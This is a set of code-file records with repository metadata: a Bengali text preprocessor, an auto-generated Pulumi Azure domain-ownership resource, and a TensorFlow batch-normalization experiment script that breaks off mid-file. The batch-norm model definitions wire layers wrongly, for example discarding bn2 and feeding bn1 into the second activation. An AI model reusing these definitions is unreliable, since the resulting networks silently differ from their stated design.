thedor.manolescu@emag.ro

084c743b67522a9f0ccc3613ab455aa6bbf74ee1

633d7e9174c967b0f77830c630ec0a7e7cbee901

/src/task3/1_hindi_bengali_bilstm_sa_jdil/bengali_preprocess.py

ca527cf9b7f5e326cc4335f59d6386e6609cfbd4

[ "MIT" ]

permissive

pritiyadav888/nnti_hindi_bengali_sentiment_analysis

d9694de7092ec9a51041113647c606aaeb70d8e2

0583ed0817824ad83f458f3be5bfab7b6e13a629

refs/heads/main

2023-07-27T02:39:55.202261

2021-09-10T14:48:33

null

0

null

UTF-8

Python

false

1,959

py

import re """ Performs basic text cleansing on the unstructured field and adds additional column to the input dataframe """ class Preprocess: def __init__(self, stpwds_file_path): """ Initializes regex patterns and load stopwords """ self.USERNAME_PATTERN = r'@([A-Za-z0-9_]+)' ## regex pattern form removing user names self.PUNCTUATION_PATTERN = '\'’|!@$%^&*()_+<>?:.,;-' ## all punctuation symbols to be removed self.STOPWORDS_PATH = stpwds_file_path ## set stopwords file path self.load_stopwords() ## load stopwords from file def load_stopwords(self): """ Loads stopwords from file """ stopwords_bengali_file = open(self.STOPWORDS_PATH, 'r', encoding='utf-8') ## open file self.stopwords_bengali = [line.replace('\n','') for line in stopwords_bengali_file.readlines()] ## add keywords to list for later use def remove_punctuations(self, text): """ Removes punctuations from text field """ return "".join([c for c in text if c not in self.PUNCTUATION_PATTERN]) def remove_stopwords(self, text): """ Removes stopwords from text field """ return " ".join([word for word in text.split() if word not in self.stopwords_bengali]) def remove_usernames(self, text): """ Removes usernames from text field """ return re.sub(self.USERNAME_PATTERN, '', text) def perform_preprocessing(self, data): data['clean_text'] = data.sentence.apply(lambda text: text.lower()) ## normalizing text to lower case data['clean_text'] = data.clean_text.apply(self.remove_usernames)## removing usernames data['clean_text'] = data.clean_text.apply(self.remove_punctuations)## removing punctuations data['clean_text'] = data.clean_text.apply(self.remove_stopwords)## removing stopwords return data

[ "sk28671@gmail.com" ]

sk28671@gmail.com

b120a89e2d2dd9e418954d016dc61f794cb03dc7

48e124e97cc776feb0ad6d17b9ef1dfa24e2e474

/sdk/python/pulumi_azure_native/domainregistration/v20201001/domain_ownership_identifier.py

0686f0d099df8d96bf3e28acd50d6042d8b40850

[ "BSD-3-Clause", "Apache-2.0" ]

permissive

bpkgoud/pulumi-azure-native

0817502630062efbc35134410c4a784b61a4736d

a3215fe1b87fba69294f248017b1591767c2b96c

refs/heads/master

2023-08-29T22:39:49.984212

2021-11-15T12:43:41

null

0

null

UTF-8

Python

false

10,342

py

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from . import outputs __all__ = ['DomainOwnershipIdentifierArgs', 'DomainOwnershipIdentifier'] @pulumi.input_type class DomainOwnershipIdentifierArgs: def __init__(__self__, *, domain_name: pulumi.Input[str], resource_group_name: pulumi.Input[str], kind: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, ownership_id: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a DomainOwnershipIdentifier resource. :param pulumi.Input[str] domain_name: Name of domain. :param pulumi.Input[str] resource_group_name: Name of the resource group to which the resource belongs. :param pulumi.Input[str] kind: Kind of resource. :param pulumi.Input[str] name: Name of identifier. :param pulumi.Input[str] ownership_id: Ownership Id. """ pulumi.set(__self__, "domain_name", domain_name) pulumi.set(__self__, "resource_group_name", resource_group_name) if kind is not None: pulumi.set(__self__, "kind", kind) if name is not None: pulumi.set(__self__, "name", name) if ownership_id is not None: pulumi.set(__self__, "ownership_id", ownership_id) @property @pulumi.getter(name="domainName") def domain_name(self) -> pulumi.Input[str]: """ Name of domain. """ return pulumi.get(self, "domain_name") @domain_name.setter def domain_name(self, value: pulumi.Input[str]): pulumi.set(self, "domain_name", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Input[str]: """ Name of the resource group to which the resource belongs. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter def kind(self) -> Optional[pulumi.Input[str]]: """ Kind of resource. """ return pulumi.get(self, "kind") @kind.setter def kind(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kind", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of identifier. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="ownershipId") def ownership_id(self) -> Optional[pulumi.Input[str]]: """ Ownership Id. """ return pulumi.get(self, "ownership_id") @ownership_id.setter def ownership_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ownership_id", value) class DomainOwnershipIdentifier(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, domain_name: Optional[pulumi.Input[str]] = None, kind: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, ownership_id: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, __props__=None): """ Domain ownership Identifier. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] domain_name: Name of domain. :param pulumi.Input[str] kind: Kind of resource. :param pulumi.Input[str] name: Name of identifier. :param pulumi.Input[str] ownership_id: Ownership Id. :param pulumi.Input[str] resource_group_name: Name of the resource group to which the resource belongs. """ ... @overload def __init__(__self__, resource_name: str, args: DomainOwnershipIdentifierArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Domain ownership Identifier. :param str resource_name: The name of the resource. :param DomainOwnershipIdentifierArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(DomainOwnershipIdentifierArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, domain_name: Optional[pulumi.Input[str]] = None, kind: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, ownership_id: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = DomainOwnershipIdentifierArgs.__new__(DomainOwnershipIdentifierArgs) if domain_name is None and not opts.urn: raise TypeError("Missing required property 'domain_name'") __props__.__dict__["domain_name"] = domain_name __props__.__dict__["kind"] = kind __props__.__dict__["name"] = name __props__.__dict__["ownership_id"] = ownership_id if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["system_data"] = None __props__.__dict__["type"] = None alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-native:domainregistration:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20150401:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20180201:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20190801:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20200601:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20200901:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20201201:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20210101:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20210115:DomainOwnershipIdentifier"), pulumi.Alias(type_="azure-native:domainregistration/v20210201:DomainOwnershipIdentifier")]) opts = pulumi.ResourceOptions.merge(opts, alias_opts) super(DomainOwnershipIdentifier, __self__).__init__( 'azure-native:domainregistration/v20201001:DomainOwnershipIdentifier', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'DomainOwnershipIdentifier': """ Get an existing DomainOwnershipIdentifier resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = DomainOwnershipIdentifierArgs.__new__(DomainOwnershipIdentifierArgs) __props__.__dict__["kind"] = None __props__.__dict__["name"] = None __props__.__dict__["ownership_id"] = None __props__.__dict__["system_data"] = None __props__.__dict__["type"] = None return DomainOwnershipIdentifier(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def kind(self) -> pulumi.Output[Optional[str]]: """ Kind of resource. """ return pulumi.get(self, "kind") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Resource Name. """ return pulumi.get(self, "name") @property @pulumi.getter(name="ownershipId") def ownership_id(self) -> pulumi.Output[Optional[str]]: """ Ownership Id. """ return pulumi.get(self, "ownership_id") @property @pulumi.getter(name="systemData") def system_data(self) -> pulumi.Output['outputs.SystemDataResponse']: """ The system metadata relating to this resource. """ return pulumi.get(self, "system_data") @property @pulumi.getter def type(self) -> pulumi.Output[str]: """ Resource type. """ return pulumi.get(self, "type")

[ "noreply@github.com" ]

bpkgoud.noreply@github.com

92133a5ef112f17025321f25820ce497167582b9

aa2e2765185122be8f5cff48c7fbce999f02435a

/script/ModelAndTest.py

8693a74848de0157f0c044d8058fc489eecb7761

[]

no_license

Lightmann/BatchNormGD

ee904a944a757438040c9203163a2d108da556c0

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refs/heads/master

2020-05-20T11:15:27.161145

2019-05-08T06:37:32

185,545,206

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# coding: utf-8 # 2018-08-17 import tensorflow as tf import numpy as np import matplotlib.pyplot as plt import os # save and load import pickle # import cpickle as pickle def data_save(data,filename): f = open(filename, "wb") # *.dat pickle.dump(data, f) f.close() def data_load(filename): return pickle.load(open(filename, "rb")) # # Model class Model(object): def __init__(self, **args): """ Build some model here """ print(args) def predict(inputs): raise NotImplementedError def loss(): raise NotImplementedError def metrics(): raise NotImplementedError def optimizer(): raise NotImplementedError def train(dataset): raise NotImplementedError def set_tensorboard(self,logdir): self.tensorboard_dir = logdir # ## Model_mnist class Model_mnist(Model): name = 'mnist' method = 'none' #image_size = 28 image_channel = 1 #def __init__(self, **args): def __init__(self, image_size=28, hidden_size=100, **args): tf.reset_default_graph() self.image_size = image_size self.hidden_size = hidden_size learning_rate = tf.placeholder(tf.float32, name='learning_rate') learning_rate_abph = tf.placeholder(tf.float32, name='learning_rate_ab') is_training = tf.placeholder(tf.bool, name='is_training') #x = tf.placeholder(tf.float32, shape=[None, 784], name='x') x = tf.placeholder(tf.float32, shape=[None, self.image_channel * self.image_size**2], name='x') labels = tf.placeholder(tf.float32, shape=[None, 10], name='labels') #x_image = tf.reshape(x, [-1, 28, 28, 1]) x_image = tf.reshape(x, [-1, self.image_size, self.image_size, self.image_channel]) self.x = x self.labels = labels self.learning_rate = learning_rate self.learning_rate_abph = learning_rate_abph self.learning_rate_ab = 0.1 # default self.is_training = is_training self.predict(x_image) self.loss(labels) self.metrics() self.optimizer() self.init = tf.global_variables_initializer() self.saver = tf.train.Saver(max_to_keep=0) tf.summary.scalar('loss', self.loss) tf.summary.scalar('accu', self.accuracy) print('A model for %s is created using %s method.' %(self.name, self.method)) self.scaling = [] # add to test the scaling property self.regamma = [] # add to test different value of gamma def __del__(self): print("__del__") def predict(self, x_image): raise NotImplementedError def loss(self, labels): y = self.y self.labels = labels #cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=logits)) cross_entropy = -tf.reduce_mean(tf.reduce_sum(labels * tf.log(y), reduction_indices=[1]),name="cross_entropy") self.loss = cross_entropy def metrics(self): y = self.y labels = self.labels correct_prediction = tf.equal(tf.argmax(y, axis=1), tf.argmax(labels, axis=1), name='correct_prediction') accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32),name='accuracy') self.accuracy = accuracy def optimizer(self): learning_rate = self.learning_rate #self.training_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(self.loss) with tf.name_scope("train"): optimizer = tf.train.GradientDescentOptimizer(learning_rate) extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) print('extra_update_ops:\n',extra_update_ops) with tf.control_dependencies(extra_update_ops): self.training_op = optimizer.minimize(self.loss) def set_scaling(self,weight_aug=1.0): # a test self.scaling = [] #print(tf.trainable_variables()) print('\n') for w in tf.trainable_variables(): if 'gamma' in w.name or 'beta' in w.name: print('not scaling:',w) else: print('scaling %g:' % weight_aug,w) self.scaling.append( tf.assign(w, w*weight_aug) ) def set_gamma(self,gamma=1.0): self.regamma = [] for w in tf.trainable_variables(): if 'gamma' in w.name: print('set value %g:' % gamma,w) self.regamma.append( tf.assign(w, gamma) ) def train(self, dataset, learning_rate = 1e-3, n_batch=100, max_step=1000): #sess = tf.InteractiveSession() with tf.Session() as sess: sess.run(self.init) sess.run(self.scaling) # test the scaling property sess.run(self.regamma) # test the gamma value plan_tag = '%s_lr%g_nb%d_it%d' % (self.method, learning_rate, n_batch, max_step) print(plan_tag) tensorboard_dir = self.tensorboard_dir saver = self.saver #.as_saver_def() saver_path = tensorboard_dir + plan_tag + '_par/' if not os.path.exists(tensorboard_dir): os.makedirs(tensorboard_dir) '''writer = tf.summary.FileWriter(tensorboard_dir + plan_tag + '_train') writer_test = tf.summary.FileWriter(tensorboard_dir + plan_tag + '_test') merged_summary = tf.summary.merge_all() writer.add_graph(sess.graph)''' # RuntimeError: Graph is finalized and cannot be modified. sess.graph.finalize() # RuntimeError: Graph is finalized and cannot be modified. value_history = [] for i in range(max_step+1): xb,yb = dataset.train.next_batch(n_batch) feed_dict_train = {self.x:xb, self.labels:yb, self.is_training:True, self.learning_rate:learning_rate, self.learning_rate_abph:self.learning_rate_ab} sess.run(self.training_op, feed_dict=feed_dict_train) if i%10 == 0: try: xt,yt = dataset.test.next_batch(n_batch) feed_dict_test = {self.x:xt, self.labels:yt, self.is_training:False} #train_loss, train_accu = sess.run((self.loss, self.accuracy),feed_dict=feed_dict_train) #test_loss, test_accu = sess.run((self.loss,self.accuracy), feed_dict=feed_dict_test) train_loss = sess.run(self.loss,feed_dict=feed_dict_train) train_accu = sess.run(self.accuracy,feed_dict=feed_dict_train) test_loss = sess.run(self.loss, feed_dict=feed_dict_test) test_accu = sess.run(self.accuracy, feed_dict=feed_dict_test) #value_history.append([train_loss, train_accu, test_loss, test_accu]) value_history.append([i,train_loss, train_accu, test_loss, test_accu]) print('%d : train_loss = %g, test_err = %g, train_accu = %g, test_accu = %g' % (i,train_loss, test_loss, train_accu,test_accu)) '''s = sess.run(merged_summary, feed_dict=feed_dict_train) writer.add_summary(s,i) st = sess.run(merged_summary, feed_dict=feed_dict_test) writer_test.add_summary(st,i)''' #saver.save(sess, saver_path, global_step=i ) if train_loss != train_loss: break except: break saver.save(sess, saver_path, global_step=i ) self.datafile = tensorboard_dir + plan_tag+'.dat' data_save(np.array(value_history),filename=self.datafile) # save self.value_history = value_history sess.close() # # Model1 -- 2cnn + 2fc class Model_mnist_gd(Model_mnist): method = 'gd' def predict(self, x_image): with tf.variable_scope(self.method): layer1 = tf.layers.conv2d(x_image, 32, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=tf.nn.relu, name='layer1') pool1 = tf.nn.max_pool(layer1, ksize=[1,2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') layer2 = tf.layers.conv2d(pool1, 64, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=tf.nn.relu, name='layer2') pool2 = tf.nn.max_pool(layer2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') flat_shape = pool2.get_shape()[1:4].num_elements() # 7*7*64 = 3136 flattened = tf.reshape(pool2, [-1, flat_shape]) fc1 = tf.layers.dense(flattened,1024, activation=tf.nn.relu, name='fc1') logits = tf.layers.dense(fc1,10,activation=None, name='fc2') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model_mnist_bn(Model_mnist): method = 'bn' def predict(self, x_image): with tf.variable_scope(self.method): hidden1 = tf.layers.conv2d(x_image, 32, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=None, name='hidden1') bn1 = tf.layers.batch_normalization(hidden1,training=self.is_training, momentum=0.9, name='bn1') layer1 = tf.nn.relu(bn1, name='layer1') pool1 = tf.nn.max_pool(bn1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool1') hidden2 = tf.layers.conv2d(pool1, 64, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=None, name='hidden2') bn2 = tf.layers.batch_normalization(hidden2,training=self.is_training, momentum=0.9, name='bn2') layer2 = tf.nn.relu(bn1) pool2 = tf.nn.max_pool(layer2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') flat_shape = pool2.get_shape()[1:4].num_elements() # 7*7*64 = 3136 flattened = tf.reshape(pool2, [-1, flat_shape]) hidden3 = tf.layers.dense(flattened,1024,activation=None, name='fc1') bn3 = tf.layers.batch_normalization(hidden3,training=self.is_training, momentum=0.9, name='bn3') fc1 = tf.nn.relu(bn3) hidden4 = tf.layers.dense(fc1,10,activation=None, name='fc2') logits = tf.layers.batch_normalization(hidden4,training=self.is_training, momentum=0.9, name='bn4') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model_mnist_bn_split(Model_mnist_bn): method = 'bn_split' def optimizer(self): #self.training_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(self.loss) learning_rate_ab = self.learning_rate_abph learning_rate = self.learning_rate list0 = tf.trainable_variables() list2 = tf.trainable_variables(scope='bn_split/bn') list1 = list(set(list0)-set(list2)) print(list1,list2) with tf.name_scope("train"): optimizer = tf.train.GradientDescentOptimizer(learning_rate) #self.training_op = optimizer.minimize(self.loss) self.training_op1 = optimizer.minimize(self.loss, var_list=list1) optimizer2 = tf.train.GradientDescentOptimizer(learning_rate=learning_rate_ab) extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(extra_update_ops): self.training_op2 = optimizer2.minimize(self.loss, var_list=list2) self.training_op = (self.training_op1,self.training_op2) # # Model2 -- 1fc -- one layer class Model2_mnist_gd(Model_mnist): method = 'gd' def predict(self, x_image): x = self.x # not use x_image with tf.variable_scope(self.method): #flattened = tf.reshape(x, [-1, 28*28]) flattened = tf.reshape(x, [-1, self.image_size*self.image_size]) logits = tf.layers.dense(flattened,10,activation=None, name='fc') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model2_mnist_bn(Model_mnist): method = 'bn' def predict(self, x_image): x = self.x # not use x_image with tf.variable_scope(self.method): #flattened = tf.reshape(x, [-1, 28*28]) flattened = tf.reshape(x, [-1, self.image_size*self.image_size]) hidden = tf.layers.dense(flattened,10,activation=None, name='fc') logits = tf.layers.batch_normalization(hidden,training=self.is_training, momentum=0.9, name='bn') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model2_mnist_bn_split(Model2_mnist_bn): method = 'bn_split' def optimizer(self): #self.training_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(self.loss) learning_rate_ab = self.learning_rate_abph learning_rate = self.learning_rate list0 = tf.trainable_variables() list2 = tf.trainable_variables(scope='bn_split/bn') list1 = list(set(list0)-set(list2)) print(list1,list2) with tf.name_scope("train"): optimizer = tf.train.GradientDescentOptimizer(learning_rate) #self.training_op = optimizer.minimize(self.loss) self.training_op1 = optimizer.minimize(self.loss, var_list=list1) optimizer2 = tf.train.GradientDescentOptimizer(learning_rate=learning_rate_ab) extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(extra_update_ops): self.training_op2 = optimizer2.minimize(self.loss, var_list=list2) self.training_op = (self.training_op1,self.training_op2) # # Model3 -- 2cnn(3) + 3fc class Model3_mnist_gd(Model_mnist): method = 'gd' def predict(self, x_image): with tf.variable_scope(self.method): layer1 = tf.layers.conv2d(x_image, 32, kernel_size=[3,3],strides=[1,1],padding='SAME', activation=tf.nn.relu, name='layer1') pool1 = tf.nn.max_pool(layer1, ksize=[1,2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') layer2 = tf.layers.conv2d(pool1, 64, kernel_size=[3,3],strides=[1,1],padding='SAME', activation=tf.nn.relu, name='layer2') pool2 = tf.nn.max_pool(layer2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') flat_shape = pool2.get_shape()[1:4].num_elements() # 7*7*64 = 3136 flattened = tf.reshape(pool2, [-1, flat_shape]) fc1 = tf.layers.dense(flattened,512, activation=tf.nn.relu, name='fc1') fc2 = tf.layers.dense(fc1,128, activation=tf.nn.relu, name='fc2') logits = tf.layers.dense(fc2,10,activation=None, name='fc3') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model3_mnist_bn(Model_mnist): method = 'bn' def predict(self, x_image): with tf.variable_scope(self.method): hidden1 = tf.layers.conv2d(x_image, 32, kernel_size=[3,3],strides=[1,1],padding='SAME', activation=None, name='hidden1') bn1 = tf.layers.batch_normalization(hidden1,training=self.is_training, momentum=0.9, name='bn1') layer1 = tf.nn.relu(bn1, name='layer1') pool1 = tf.nn.max_pool(bn1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool1') hidden2 = tf.layers.conv2d(pool1, 64, kernel_size=[3,3],strides=[1,1],padding='SAME', activation=None, name='hidden2') bn2 = tf.layers.batch_normalization(hidden2,training=self.is_training, momentum=0.9, name='bn2') layer2 = tf.nn.relu(bn1) pool2 = tf.nn.max_pool(layer2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') flat_shape = pool2.get_shape()[1:4].num_elements() # 7*7*64 = 3136 flattened = tf.reshape(pool2, [-1, flat_shape]) hidden3 = tf.layers.dense(flattened,512,activation=None, name='fc1') bn3 = tf.layers.batch_normalization(hidden3,training=self.is_training, momentum=0.9, name='bn3') fc1 = tf.nn.relu(bn3) hidden4 = tf.layers.dense(fc1,128,activation=None, name='fc2') bn4 = tf.layers.batch_normalization(hidden4,training=self.is_training, momentum=0.9, name='bn4') fc2 = tf.nn.relu(bn4) hidden5 = tf.layers.dense(fc2,10,activation=None, name='fc3') logits = tf.layers.batch_normalization(hidden5,training=self.is_training, momentum=0.9, name='bn5') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model3_mnist_bn_split(Model3_mnist_bn): method = 'bn_split' def optimizer(self): #self.training_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(self.loss) learning_rate_ab = self.learning_rate_abph learning_rate = self.learning_rate list0 = tf.trainable_variables() list2 = tf.trainable_variables(scope='bn_split/bn') list1 = list(set(list0)-set(list2)) print(list1,list2) with tf.name_scope("train"): optimizer = tf.train.GradientDescentOptimizer(learning_rate) #self.training_op = optimizer.minimize(self.loss) self.training_op1 = optimizer.minimize(self.loss, var_list=list1) optimizer2 = tf.train.GradientDescentOptimizer(learning_rate=learning_rate_ab) extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(extra_update_ops): self.training_op2 = optimizer2.minimize(self.loss, var_list=list2) self.training_op = (self.training_op1,self.training_op2) # # Model4 -- 1fc -- one layer, quadratic class Model4_mnist_gd(Model2_mnist_gd): def loss(self, labels): y = self.y self.labels = labels self.loss = tf.reduce_mean( (labels-y)**2,name="loss") class Model4_mnist_bn(Model2_mnist_bn): def loss(self, labels): y = self.y self.labels = labels self.loss = tf.reduce_mean( (labels-y)**2,name="loss") #class Model4_mnist_bn_split(Model2_mnist_bn) class Model4_mnist_bn_split(Model2_mnist_bn_split): def loss(self, labels): y = self.y self.labels = labels self.loss = tf.reduce_mean( (labels-y)**2,name="loss") # # Model5 -- 2fc -- one+one layer, quadratic class Model5_mnist_gd(Model4_mnist_gd): def predict(self, x_image): x = self.x # not use x_image with tf.variable_scope(self.method): #flattened = tf.reshape(x, [-1, 28*28]) flattened = tf.reshape(x, [-1, self.image_size*self.image_size]) hidden = tf.layers.dense(flattened,self.hidden_size,activation=tf.nn.relu, name='fc1') logits = tf.layers.dense(hidden,10,activation=None, name='fc') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model5_mnist_bn(Model4_mnist_bn): def predict(self, x_image): x = self.x # not use x_image with tf.variable_scope(self.method): #flattened = tf.reshape(x, [-1, 28*28]) flattened = tf.reshape(x, [-1, self.image_size*self.image_size]) hidden1 = tf.layers.dense(flattened,self.hidden_size,activation=None, name='fc1') bn1 = tf.layers.batch_normalization(hidden1,training=self.is_training, momentum=0.9, name='bn1') layer1 = tf.nn.relu(bn1, name='layer1') hidden2 = tf.layers.dense(layer1,10,activation=None, name='fc2') logits = tf.layers.batch_normalization(hidden2,training=self.is_training, momentum=0.9, name='bn2') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) return class Model5_mnist_bn_split(Model5_mnist_bn): method = 'bn_split' def optimizer(self): #self.training_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(self.loss) learning_rate_ab = self.learning_rate_abph learning_rate = self.learning_rate list0 = tf.trainable_variables() list2 = tf.trainable_variables(scope='bn_split/bn') list1 = list(set(list0)-set(list2)) print(list1,list2) with tf.name_scope("train"): optimizer = tf.train.GradientDescentOptimizer(learning_rate) #self.training_op = optimizer.minimize(self.loss) self.training_op1 = optimizer.minimize(self.loss, var_list=list1) optimizer2 = tf.train.GradientDescentOptimizer(learning_rate=learning_rate_ab) extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(extra_update_ops): self.training_op2 = optimizer2.minimize(self.loss, var_list=list2) self.training_op = (self.training_op1,self.training_op2) return # # Model_cifar10 class Model_cifar10(Model_mnist): image_size = 32 image_channel = 3 name = 'cifar10' class Model_cifar10_gd(Model_cifar10): method = 'gd' def predict(self, x_image): with tf.variable_scope(self.method): layer1 = tf.layers.conv2d(x_image, 64, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=tf.nn.relu, name='layer1') pool1 = tf.nn.max_pool(layer1, ksize=[1,3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') layer2 = tf.layers.conv2d(pool1, 64, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=tf.nn.relu, name='layer2') pool2 = tf.nn.max_pool(layer2, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') flat_shape = pool2.get_shape()[1:4].num_elements() # 8*8*64 flattened = tf.reshape(pool2, [-1, flat_shape]) fc1 = tf.layers.dense(flattened,512, activation=tf.nn.relu, name='fc1') fc2 = tf.layers.dense(fc1,128, activation=tf.nn.relu, name='fc2') logits = tf.layers.dense(fc2,10,activation=None, name='fc3') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model_cifar10_bn(Model_cifar10): method = 'bn' def predict(self, x_image): with tf.variable_scope(self.method): hidden1 = tf.layers.conv2d(x_image, 64, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=None, name='hidden1') bn1 = tf.layers.batch_normalization(hidden1,training=self.is_training, momentum=0.9, name='bn1') layer1 = tf.nn.relu(bn1, name='layer1') pool1 = tf.nn.max_pool(bn1, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool1') hidden2 = tf.layers.conv2d(pool1, 64, kernel_size=[5,5],strides=[1,1],padding='SAME', activation=None, name='hidden2') bn2 = tf.layers.batch_normalization(hidden2,training=self.is_training, momentum=0.9, name='bn2') layer2 = tf.nn.relu(bn1) pool2 = tf.nn.max_pool(layer2, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') flat_shape = pool2.get_shape()[1:4].num_elements() # 8*8*64 flattened = tf.reshape(pool2, [-1, flat_shape]) hidden3 = tf.layers.dense(flattened,512,activation=None, name='fc1') bn3 = tf.layers.batch_normalization(hidden3,training=self.is_training, momentum=0.9, name='bn3') fc1 = tf.nn.relu(bn3) hidden4 = tf.layers.dense(fc1,128,activation=None, name='fc2') bn4 = tf.layers.batch_normalization(hidden4,training=self.is_training, momentum=0.9, name='bn4') fc2 = tf.nn.relu(bn4) hidden5 = tf.layers.dense(fc2,10,activation=None, name='fc3') logits = tf.layers.batch_normalization(hidden5,training=self.is_training, momentum=0.9, name='bn5') tf.summary.histogram('logits', logits) self.logits = logits self.y = tf.nn.softmax(logits) class Model_cifar10_bn_split(Model_cifar10_bn): method = 'bn_split' def optimizer(self): #self.training_op = tf.train.GradientDescentOptimizer(learning_rate).minimize(self.loss) learning_rate_ab = self.learning_rate_abph learning_rate = self.learning_rate list0 = tf.trainable_variables() list2 = tf.trainable_variables(scope='bn_split/bn') list1 = list(set(list0)-set(list2)) print(list1,list2) with tf.name_scope("train"): optimizer = tf.train.GradientDescentOptimizer(learning_rate) #self.training_op = optimizer.minimize(self.loss) self.training_op1 = optimizer.minimize(self.loss, var_list=list1) optimizer2 = tf.train.GradientDescentOptimizer(learning_rate=learning_rate_ab) extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(extra_update_ops): 